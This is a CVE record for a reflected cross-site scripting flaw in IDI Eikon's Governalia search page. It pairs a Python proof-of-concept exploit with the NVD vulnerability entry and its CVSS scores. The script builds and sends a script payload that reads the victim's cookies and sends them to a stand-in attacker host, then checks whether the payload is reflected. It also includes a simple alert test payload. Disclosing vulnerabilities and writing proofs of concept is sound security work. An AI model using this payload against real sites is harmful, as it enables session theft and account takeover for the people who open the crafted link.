CVE-2025-40700

import requests # CVE-2025-40700 PoC - Reflected XSS in IDI Eikon's Governalia # Target: /search endpoint with 'q' parameter TARGET_URL = "http://target-site.com/search" # Malicious payload to steal cookies xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Construct malicious URL malicious_url = f"{TARGET_URL}?q={requests.utils.quote(xss_payload)}" print(f"[*] Target: {TARGET_URL}") print(f"[*] Malicious URL: {malicious_url}") print(f"[*] Payload: {xss_payload}") # Verify the vulnerability exists response = requests.get(malicious_url) if xss_payload in response.text: print("[+] VULNERABLE: XSS payload reflected in response") else: print("[-] Not vulnerable or payload filtered") # Simple test payload simple_payload = "<img src=x onerror=alert('XSS')>" test_url = f"{TARGET_URL}?q={requests.utils.quote(simple_payload)}" print(f"[*] Test URL: {test_url}")

{"cve": {"id": "CVE-2025-40700", "sourceIdentifier": "[email protected]", "published": "2025-12-02T13:15:53.537", "lastModified": "2026-01-30T19:13:04.337", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Reflected Cross-Site Scripting (XSS) in IDI Eikon's Governalia. The vulnerability allows an attacker to execute JavaScript code in the victim's browser when a malicious URL with the 'q' parameter in '/search' is sent to them. This vulnerability can be exploited to steal sensitive information such as session cookies or to perform actions on behalf of the victim."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:idieikon:governalia:*:*:*:*:*:*:*:*", "versionEndExcluding": "1274", "matchCriteriaId": "79E4E4A3-F80F-4DE0-AE77-F84261752E4B"}]}]}], "references": [{"url": "https://governalia.es/", "source": "[email protected]", "tags": ["Product", "US Government Resource"]}, {"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/reflected-cross-site-scripting-xss-governalia-idi-eikon", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}